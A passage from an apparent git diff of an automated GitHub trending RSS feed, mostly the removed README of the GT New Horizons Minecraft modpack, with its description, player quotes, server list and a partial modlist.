<li>Tiff support: Java versions prior to 9 require an additional library in the classpath to handle tiff images. Options are:
<ul>
<li><a href="https://github.com/haraldk/TwelveMonkeys">https://github.com/haraldk/TwelveMonkeys</a></li>
<li><a href="https://github.com/jai-imageio/jai-imageio-core">https://github.com/jai-imageio/jai-imageio-core</a></li>
</ul> </li>
<li>Please refer to our <a href="https://raw.githubusercontent.com/LibrePDF/OpenPDF/master/pom.xml">pom.xml</a> to see what version is needed.</li>
</ul>
<h2>Credits</h2>
<p>Please see <a href="https://raw.githubusercontent.com/LibrePDF/OpenPDF/master/Contributors.md">Contributors.md</a>.</p>
\ No newline at end of file
diff --git a/javascript+erb/daily/index.xml b/javascript+erb/daily/index.xml
index aded7a002de..b5b8143ab20 100644
--- a/javascript+erb/daily/index.xml
+++ b/javascript+erb/daily/index.xml
@@ -1,7 +1,7 @@
GitHub JavaScript+ERB Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:48Z
+ 2023-12-13T01:35:20Z
Daily Trending of JavaScript+ERB in GitHub
\ No newline at end of file
diff --git a/javascript/daily/index.xml b/javascript/daily/index.xml
index b941ee1e58b..a5d59c3782f 100644
--- a/javascript/daily/index.xml
+++ b/javascript/daily/index.xml
@@ -1,14 +1,28 @@
GitHub JavaScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:51:51Z
+ 2023-12-13T01:35:24Z
Daily Trending of JavaScript in GitHub
- GTNewHorizons/GT-New-Horizons-Modpack
- 2023-12-12T01:51:51Z
- tag:github.com,2023-12-12:/GTNewHorizons/GT-New-Horizons-Modpack
-
- <p>New Modpack with Gregtech, Thaumcraft and Witchery</p><hr><h1>GT New Horizons Mod Pack</h1>
<p>Version 2.5.0-beta-1 is out 2023-12-09</p>
<p><a href="http://jenkins.usrv.eu:8080/job/GTNewHorizons%20Configs/"><img src="http://jenkins.usrv.eu:8080/buildStatus/icon?job=GTNewHorizons%20Configs" alt="Build Status"></a></p>
<h2>What is GT New Horizons?</h2>
<p align="justify"> You are looking at a big progressive kitchensink pack for Minecraft 1.7.10 balanced around the mod GregTech.<br><br> Over 8 years of development (and still going) have formed a balance and refinement that only a handful of packs can keep up with. We are talking about thousands of recipe tweaks, a massive questbook with over 3000 quests, unique world generation, custom mods coded for the pack, custom Thaumonomicon pages, and many more. The main intentions of the pack are a long-lasting experience and tying mods together in a progressive fashion, making it feel more like a single game than a compilation of mods thrown together.<br><br> To reach this goal, GT New Horizons is using the tiers (basically ages of technology) from GregTech and allocates content of other mods to a fitting point within the progression.<br><br> Starting in the stone age you will barely be able to survive until you get your first steam machines and, eventually, reach electricity. Later on, you will have to visit other planets and dimensions to gather important resources and fight mighty bosses to channel their magical power.<br><br> If you are a fan of expert mode packs and want to take it to the next level, this pack will be your friend! </p>
<h2>Our Discord server</h2>
<p>Here is our Discord server in case you want to take a look at it:</p>
<p><a href="https://discord.gg/gtnh"><img src="https://discordapp.com/api/guilds/181078474394566657/widget.png?style=banner4" alt="Join the Discord Server"></a></p>
<h2>Installing</h2>
<p align="justify"> To install the GTNH modpack, please follow the instructions on the page <a href="http://gtnh.miraheze.org/wiki/Installing_and_Migrating">Installing and Migrating</a>.<br> The installation files can be found at <a href="http://downloads.gtnewhorizons.com">downloads.gtnewhorizons.com</a>.<br> Do not download the mods separately from the Modlist below - it is provided for reference purposes. </p>
<h2>Quotes</h2>
<div align="justify">
<ul>
<li>thcv - This pack is pushing my mental capacity</li>
<li>moronwmachinegun - Noooooooooooooooo! (after cleanroom explosion)</li>
<li>mitchej123 - it probably would have been a bit easier if I put the turbines closer, but it wouldn't look as cool</li>
<li>K1ngMX - problem is like in programming: each change in isolation makes sense, some time later you think "how could this all happen" lol</li>
<li>tsutaaja - If it's not too costly</li>
<li>DreamMasterXXL - Idiots! Do not upgrade your backpack with important stuff inside!</li>
<li>Chaotick - It's already quite the list of errands</li>
<li>LogicFalls - F--k this mod is complicated</li>
<li>Codewarrior0 - Blood, sweat, and tiers</li>
<li>Chewy - No more making any of this irritating s--t</li>
<li>moronwmachinegun - It's never enough</li>
<li>Mondfaust - this game wants so much stuff...</li>
<li>K1ngMX - GTNH is basically pain for win</li>
<li>Pao - RNGesus hates you.</li>
<li>LogicFalls - This modpack makes me unhappy. But it's the good kind of unhappy.</li>
<li>Elusive Ent - GTNH you never fail to frustrate, but i love you all the same</li>
<li>DoomSquirter - welcome to gregtech where we invented the fountain of youth by slowing down time to make you enjoy each millisecond even more.</li>
<li>moronwmachinegun - controller on the front, maintenance in the back? World's worst haircut - gregullet</li>
<li>Axiflare - I've jabbed my screwdriver and my fist into it every way I can think of.</li>
<li>Scribit - Useless coins that are actually useful.</li>
<li>StevensMelon - i really hate this pack why wont i stop playing it. wanT to go back to omifactory where everything was simpler 😭</li>
</ul>
</div>
<h2>What does this pack have to offer?</h2>
<p><em><strong>Technology</strong></em><br></p>
<p align="justify"> GregTech on its own comes with a huge tech tree using the EU system and the other technology-based mods will open up while you are progressing through the tiers.<br> <br> The main cables of GregTech convert EU to RF so you don't have to worry about different energy systems and things feeling incompatible.<br> <br> Complex processing lines, automation, a large variety in power generation and a lot of materials to work with create an environment with many possibilities that the player has to explore.<br> <br> Crossbreeding plants, bees and crops with Forestry and IndustrialCraft2, setting up mob farms using EnderIO and Draconic Evolution, and general infrastructure improvements with Railcraft and Applied Energistics - it's all there, anything you want (and need!) if you enjoy the technical aspect of modded Minecraft. </p>
<p><em><strong>Magic</strong></em><br></p>
<p align="justify"> GT New Horizons comes with a variety of powerful magic mods. Your main access will be through the Thauminomicon which is modified to also feature custom sections for Botania, Blood Magic, Witchery, and other important things besides having the usual content of Thaumcraft and its add-ons.<br> <br> The Twilight Forest is the dimension linked to magic in this pack and you will have to explore and defeat the bosses to progress in magic. Later on, there is power generation with essentia and options to store it using your AE system connecting technology with magic. </p>
<p><em><strong>Exploration</strong></em><br></p>
<p align="justify"> Using Realistic World Gen along with Biomes O' Plenty creates a beautiful terrain in the overworld.<br> <br> Besides all the biomes and natural structures you can find there will be challenging Rogue-like Dungeons that come with decent loot and spawners you might want to use in creative ways.<br> <br> In the early game, villages offer a nice resting spot while looking for the optimal base location. Later you will revisit the villages to trade for key items and scavenge for parts. Eventually, you may end up relocating villagers closer to you - or taking over a village yourself. </p>
<p><em><strong>Put the mining back in Minecraft</strong></em> <br></p>
<p align="justify"> GregTech spawns ore in large localized veins rather than small clusters of everything, rewarding long searches with a huge vein that can sustain your base's growth for a long time.<br> <br> In most packs, nearly everything spawns in the overworld which is not the case in GT New Horizons, and you are encouraged to mine in other dimensions such as the Twilight Forest, the nether, the end and (later on) even on other planets to make your way to the endgame. Unlocking things by mining for materials on other planets will create that situation where Galacticraft all of a sudden becomes important to progress which feels really rewarding.<br> </p>
<p><em><strong>Survival</strong></em><br></p>
<p align="justify"> The first few days and nights will be rough, in fact, nights will stay rough for a while since hardcore darkness makes them pitch black without any light sources or potion effects, so you might want to get a bed quickly!<br> <br> Food is a critical thing early game and you can't keep eating the same things because of Spice of Life. Better watch out for some gardens from Pam's Harvestcraft to get some variety into your nutrition!<br> <br> Be prepared to face strong mobs that can cause death quickly if you play without any strategy.<br> <br> Facing them with better gear will make life easier once you progress but until then light up your base - there are plenty of options available from Chisel, Project Red, Ztones and Floodlights.<br> </p>
<p><em><strong>Questing</strong></em><br></p>
<p align="justify"> GT New Horizons comes with over 3000 quests that will guide the player through the maze that modded Minecraft can be.<br> <br> The texts will inform you what's required to progress so you don't have to watch tutorials or ask others as often. The questbook can even save you the time to type into NEI, just click the items displayed in the quest and it will display the recipe through NEI, quite handy, right?<br> <br> Custom lootbags and the coin system make for unique and helpful rewards. And we all enjoy the gamble from time to time. </p>
<p><em><strong>Is this a game for newbies?</strong></em><br></p>
<p align="justify"> Newbies to Minecraft? Definitely not. Newbies to modded Minecraft? Maybe. The questbook is a great introduction to the variety and type of mods available. With each mod, gated players must learn about the mod to make the most of it while waiting for the next mod to unlock. </p>
<p><em><strong>Is this modpack for me?</strong></em><br></p>
<p align="justify"> Does the thought of earning that top-end gear over weeks or months appeal to you? The usual packs feel like they are over in 1 or 2 weeks since you get OP gear so quickly?<br> <br> How about designing a chemical processing system to rival a real oil refinery, with multiple inputs creating dozens of outputs and intermediate products to finally make a bar of plastic, rubber, explosives or other top-end gear?<br> <br> Does the sound of machinery processing ore via crushing, washing, centrifuging, smelting in a blast furnace, and cooling off in a vacuum freezer tickle your brain?<br> <br> Then this is the pack for you.<br> <br> Your pick is not ready.<br> <br> Welcome home.<br> </p>
<hr>
<h2>How to join a server</h2>
<p align="justify"> Go to the multiplayer menu and choose the server you would like to play on. If the server is whitelisted (check out the list below) you have to contact the staff on the linked website/discord first. For the official servers you can either apply directly on our website or type the "!apply" command on our discord (both linked below) to get further instructions on how to join! </p>
<h3>EU Servers:<br></h3>
<p>Official EU Server Public (whitelist)<br> <a href="http://www.gtnewhorizons.com/">http://www.gtnewhorizons.com/</a> <br> delta.gtnewhorizons.com<br> epsilon.gtnewhorizons.com<br> eta.gtnewhorizons.com<br></p>
<p>Official EU Test Server(whitelist)<br> zeta.gtnewhorizons.com<br></p>
<p>Modded Minecraft Club Falkenstein, Germany (open)<br> <a href="https://www.moddedminecraft.club/">https://www.moddedminecraft.club/</a> <br> gtnh.moddedminecraft.club (Teleport enabled)<br> gtnh-im.moddedminecraft.club (Ironman, no teleport)<br></p>
<p>Craftersland Craftersland GTNH (EU-DE) gt.craftersland.net<br></p>
<p>MineYourMine<br> MineYourMine GTNH (EU) horizons.mineyourmind.net<br></p>
<p>Zephyrus<br> Zephyrus (NL) gtnh.zephyrus-mc.com<br></p>
<p>Arcturus Network Czech Republic (EU)<br> Discord: <a href="https://discord.gg/JCCY9NR">https://discord.gg/JCCY9NR</a> <br> Wiki: <a href="http://wiki.arcturus-official.eu/">http://wiki.arcturus-official.eu/</a> <br> play.arcturus-official.eu<br></p>
<h3>US/Canada Servers:<br></h3>
<p>Prospercraft (greylist)<br> <a href="http://www.prospercraft.com/">http://www.prospercraft.com/</a> <br> newhorizonsold.prospercraft.com<br> newhorizons.prospercraft.com<br></p>
<p>StoneLegion <br> StoneLegion.com GTNH (Canada) mc.stonelegion.com<br></p>
<p>Earthquake<br> Earthquake GTNH (US West) aragil.ddns.net<br></p>
<p>Modded Minecraft Club(open)<br> (same server as above)<br> Modded Minecraft Club (Eu-Asia) gtnh.moddedminecraft.club<br> Modded Minecraft Club (Am+Aus) gtnh-na.moddedminecraft.club<br> MMC No TP (Eu+Asia2) gtnh-im.moddedminecraft.club<br> MMC No TP (Am+Aus2) gtnh-im-na.moddedminecraft.club<br></p>
<p>Stone Huts EU Server (whitelist)<br> IP: gtnh.stonehuts.net<br> <a href="http://stonehuts.net">http://stonehuts.net</a> <br></p>
<h3>German Server:<br></h3>
<p>MyFTB Public (open)<br> <a href="https://myftb.de/">https://myftb.de/</a> <br> gtnewhorizons.myftb.de<br></p>
<h3>Russian Servers:<br></h3>
<p>Hitechmine.ru GTNG Server Russia<br> hitechmine.ru:25565</p>
<p>Zvezdolet New fresh Russian server Whitelisted<br> IP: gtnh.114-7.com</p>
<h2>Official Links</h2>
<p>MultiMC Downloads: <a href="http://downloads.gtnewhorizons.com/Multi_mc_downloads/">http://downloads.gtnewhorizons.com/Multi_mc_downloads/</a> <br> Technic Launcher Link: <a href="http://www.technicpack.net/modpack/mcnewhorizons.677387">http://www.technicpack.net/modpack/mcnewhorizons.677387</a> <br> Curse Link: <a href="https://minecraft.curseforge.com/projects/gt-new-horizons">https://minecraft.curseforge.com/projects/gt-new-horizons</a> <br> Discord Link: <a href="https://discord.com/invite/gtnh">https://discord.com/invite/gtnh</a> <br> Forum Link: <a href="http://gtnewhorizons.com/">http://gtnewhorizons.com/</a> <br> WIKI Link: <a href="https://gtnh.miraheze.org/wiki/Main_Page">https://gtnh.miraheze.org/wiki/Main_Page</a></p>
<h3>Contributing</h3>
<p>Want to contribute to GTNH? Join our Discord with the link above and read the development manual: <a href="https://gtnh.miraheze.org/wiki/Development">https://gtnh.miraheze.org/wiki/Development</a>.</p>
<h2>Resource Realistic Sky GT New Horizons</h2>
<p>A resource pack created by MajaProduction that needs Optifine installed, you can find it in your resource folder<br></p>
<hr>
<h2>Modlist - NewHorizons</h2>
<p>Downloads can be found at <a href="http://downloads.gtnewhorizons.com">http://downloads.gtnewhorizons.com</a> - do not try to download and install using the links below, this is for reference.</p>
<table>
<thead>
<tr>
<th>Name</th>
<th>Version</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/advancedsolarpanels">Advanced Solar Panel For 1.7.10 (Unofficial)</a></td>
<td>1.7.10 Edition</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/AdventureBackpack2">AdventureBackpack2</a></td>
<td>1.0.16-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/AE2FluidCraft-Rework">AE2FluidCraft-Rework</a></td>
<td>1.1.71-gtnh</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/ae2stuff">ae2stuff</a></td>
<td>0.6.0-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/AFSU">AFSU</a></td>
<td>1.2.6-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/AlchemyGrate">AlchemyGrate</a></td>
<td>1.0.3-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Amazing-Trophies">Amazing-Trophies</a></td>
<td>1.1.2</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/amunra">amunra</a></td>
<td>0.5.0</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/AngerMod">AngerMod</a></td>
<td>0.6.3</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/AppleCore">AppleCore</a></td>
<td>3.2.12</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Applied-Energistics-2-Unofficial">Applied-Energistics-2-Unofficial</a></td>
<td>rv3-beta-291-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/ArchitectureCraft">ArchitectureCraft</a></td>
<td>1.8.6</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/aroma1997core">Aroma1997Core</a></td>
<td>1.0.2.16</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/aromabackup">AromaBackup</a></td>
<td>0.1.0.0</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/AsieLib">AsieLib</a></td>
<td>0.5.4</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/automagy">Automagy</a></td>
<td>0.28.2</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Avaritia">Avaritia</a></td>
<td>1.46</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Avaritiaddons">Avaritiaddons</a></td>
<td>1.6.0-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/bartworks">bartworks</a></td>
<td>0.8.20</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Battlegear2">Battlegear2</a></td>
<td>1.3.0</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Baubles">Baubles</a></td>
<td>1.0.3</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/bdlib">bdlib</a></td>
<td>1.9.8-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/BeeBetterAtBees-GTNH">BeeBetterAtBees-GTNH</a></td>
<td>0.3.1-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/BetterAchievements">BetterAchievements</a></td>
<td>0.1.3</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/BetterBuildersWands">BetterBuildersWands</a></td>
<td>0.10.1-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/BetterCrashes">BetterCrashes</a></td>
<td>1.3.5-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/BetterLoadingScreen">BetterLoadingScreen</a></td>
<td>1.5.3-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/BetterP2P">BetterP2P</a></td>
<td>1.1.20</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/BetterQuesting">BetterQuesting</a></td>
<td>3.4.5-GTNH</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/bibliocraft-bibliowoods-biomes-oplenty-edition">BiblioCraft: BiblioWoods Biomes O'Plenty Edition</a></td>
<td>1.9</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/bibliocraft-bibliowoods-forestry-edition">BiblioCraft: BiblioWoods Forestry Edition</a></td>
<td>1.7</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/bibliocraft-bibliowoods-natura-edition">BiblioCraft: BiblioWoods Natura Edition</a></td>
<td>1.5</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/bibliocraft">BiblioCraft</a></td>
<td>1.11.7</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Binnie">Binnie</a></td>
<td>2.2.3</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/biomes-o-plenty">Biomes O' Plenty</a></td>
<td>2.1.0.2308</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/BlockLimiter">BlockLimiter</a></td>
<td>0.55</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/BlockRenderer6343">BlockRenderer6343</a></td>
<td>1.0.5</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/BloodArsenal">BloodArsenal</a></td>
<td>1.2.11</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/BloodMagic">BloodMagic</a></td>
<td>1.4.3</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Botania">Botania</a></td>
<td>1.10.3-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Botanic-horizons">Botanic-horizons</a></td>
<td>1.0.19-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/BrandonsCore">BrandonsCore</a></td>
<td>1.0.0.13-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/BugTorch">BugTorch</a></td>
<td>1.2.12-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/BuildCraft">BuildCraft</a></td>
<td>7.1.37</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/BuildCraftCompat">BuildCraftCompat</a></td>
<td>7.1.16</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/BuildCraftOilTweak">BuildCraftOilTweak</a></td>
<td>1.0.4</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/CarpentersBlocks">CarpentersBlocks</a></td>
<td>3.4.1-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Catwalks-2">Catwalks-2</a></td>
<td>2.1.4-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Chisel">Chisel</a></td>
<td>2.12.3-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/ChiselTones">ChiselTones</a></td>
<td>1.0.4-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/CodeChickenCore">CodeChickenCore</a></td>
<td>1.1.13</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/CodeChickenLib">CodeChickenLib</a></td>
<td>1.1.10</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/cofh-core">CoFH Core</a></td>
<td>3.1.4-329</td>
</tr>
<tr>
<td><a href="https://forum.industrial-craft.net/thread/12724-ic2-exp-1-7-10-compact-kinetic-generators/">Compact Kinetic Generators</a></td>
<td>1.0</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Computronics">Computronics</a></td>
<td>1.7.1-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Controlling">Controlling</a></td>
<td>2.0.1</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/CookingForBlockheads">CookingForBlockheads</a></td>
<td>1.2.16-GTNH</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/craftpresence/">Craft-Presence</a></td>
<td>2.2.5</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/CraftTweaker">CraftTweaker</a></td>
<td>3.2.13</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/CreativeCore">CreativeCore</a></td>
<td>1.3.31-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/CropLoadCore">CropLoadCore</a></td>
<td>0.1.10</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Crops-plus-plus">Crops-plus-plus</a></td>
<td>1.5.12</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Custom-Main-Menu">Custom-Main-Menu</a></td>
<td>1.10.3</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Default-Configs">Default-Configs</a></td>
<td>1.1.6</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/DefaultServerList">DefaultServerList</a></td>
<td>1.4.0</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/DefaultWorldGenerator">DefaultWorldGenerator</a></td>
<td>0.2</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/DetravScannerMod">DetravScannerMod</a></td>
<td>1.7.2</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Draconic-Evolution">Draconic-Evolution</a></td>
<td>1.2.1-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/DummyCore">DummyCore</a></td>
<td>1.17.0</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/DuraDisplay">DuraDisplay</a></td>
<td>1.1.7</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Electro-Magic-Tools">Electro-Magic-Tools</a></td>
<td>1.3.8</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/EnderCore">EnderCore</a></td>
<td>0.2.18</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/EnderIO">EnderIO</a></td>
<td>2.5.6</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/EnderStorage">EnderStorage</a></td>
<td>1.4.12</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/EnderZoo">EnderZoo</a></td>
<td>1.0.23</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/EnhancedLootBags">EnhancedLootBags</a></td>
<td>1.1.0</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Eternal-Singularity">Eternal-Singularity</a></td>
<td>1.1.2</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/extra-utilities">Extra Utilities</a></td>
<td>1.2.13a</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/fastcraft">FastCraft</a></td>
<td>1.25</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/FindIt">FindIt</a></td>
<td>1.1.0</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/FloodLights">FloodLights</a></td>
<td>1.2.9</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/ForbiddenMagic">ForbiddenMagic</a></td>
<td>0.6.7-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/ForestryMC">ForestryMC</a></td>
<td>4.7.0</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Forgelin">Forgelin</a></td>
<td>1.9.7-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/ForgeMultipart">ForgeMultipart</a></td>
<td>1.4.1</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/ForgeRelocation">ForgeRelocation</a></td>
<td>0.0.3</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/ForgeRelocationFMP">ForgeRelocationFMP</a></td>
<td>0.0.4</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Gadomancy">Gadomancy</a></td>
<td>1.2.0</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/GalacticGregGT5">GalacticGregGT5</a></td>
<td>1.0.10</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Galacticraft">Galacticraft</a></td>
<td>3.0.74-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Galaxy-Space-GTNH">Galaxy-Space-GTNH</a></td>
<td>1.2.14-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/gendustry">gendustry</a></td>
<td>1.6.5.5-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/GigaGramFab">GigaGramFab</a></td>
<td>0.3.8</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/GoodGenerator">GoodGenerator</a></td>
<td>0.7.14</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Gravitation-Suite-Neo">Gravitation-Suite-Neo</a></td>
<td>1.0.20</td>
</tr>
<tr>
<td><a href="https://forum.industrial-craft.net/thread/6915-ic2-exp-1-7-10-gravitation-suite-v2-0-3/">Gravitation-Suite-old</a></td>
<td>2.0.3</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/GT5-Unofficial">GT5-Unofficial</a></td>
<td>5.09.44.106</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/GTNEIOrePlugin">GTNEIOrePlugin</a></td>
<td>1.1.3</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/GTNH-Intergalactic">GTNH-Intergalactic</a></td>
<td>1.2.7</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/GTNH-Lanthanides">GTNH-Lanthanides</a></td>
<td>0.11.8</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/GTNH-TC-Wands">GTNH-TC-Wands</a></td>
<td>1.3.1</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/GTNHLib">GTNHLib</a></td>
<td>0.0.13</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/GTplusplus">GTplusplus</a></td>
<td>1.10.45</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/hardcore-darkness">Hardcore Darkness</a></td>
<td>1.7</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Hardcore-Ender-Expansion">Hardcore-Ender-Expansion</a></td>
<td>1.9.7-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/harvestcraft">harvestcraft</a></td>
<td>1.1.3-GTNH</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/healer">Healer</a></td>
<td>1.2.1</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/HelpFixer">HelpFixer</a></td>
<td>1.1.0</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Hodgepodge">Hodgepodge</a></td>
<td>2.3.39</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/HoloInventory">HoloInventory</a></td>
<td>2.3.2-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/HungerOverhaul">HungerOverhaul</a></td>
<td>1.0.4-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/HydroEnergy">HydroEnergy</a></td>
<td>1.1.1</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/ic2-nei-crop-plugin">IC2 Crop-Breeding Plugin</a></td>
<td>1.3.1</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/IFU">IFU</a></td>
<td>1.9.6</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/IguanaTweaksTConstruct">IguanaTweaksTConstruct</a></td>
<td>2.3.0</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/industrial-craft">Industrial Craft 2</a></td>
<td>2.2.82a-experimental</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Infernal-Mobs">Infernal-Mobs</a></td>
<td>1.7.9-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/InGame-Info-XML">InGame-Info-XML</a></td>
<td>2.8.5</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/INpureCore">INpureCore</a></td>
<td>1.1.5-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/inventory-tweaks">inventory-tweaks</a></td>
<td>1.6.1</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/ironchest">ironchest</a></td>
<td>6.0.74</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/IronChestMinecarts">IronChestMinecarts</a></td>
<td>1.0.8</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Irontanks">Irontanks</a></td>
<td>1.2.6</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Jabba">Jabba</a></td>
<td>1.3.1</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/journeymap-server">JourneyMap Server</a></td>
<td>1.0.5</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/journeymap">JourneyMap</a></td>
<td>5.1.4p6-fairplay</td>
</tr>
<tr>
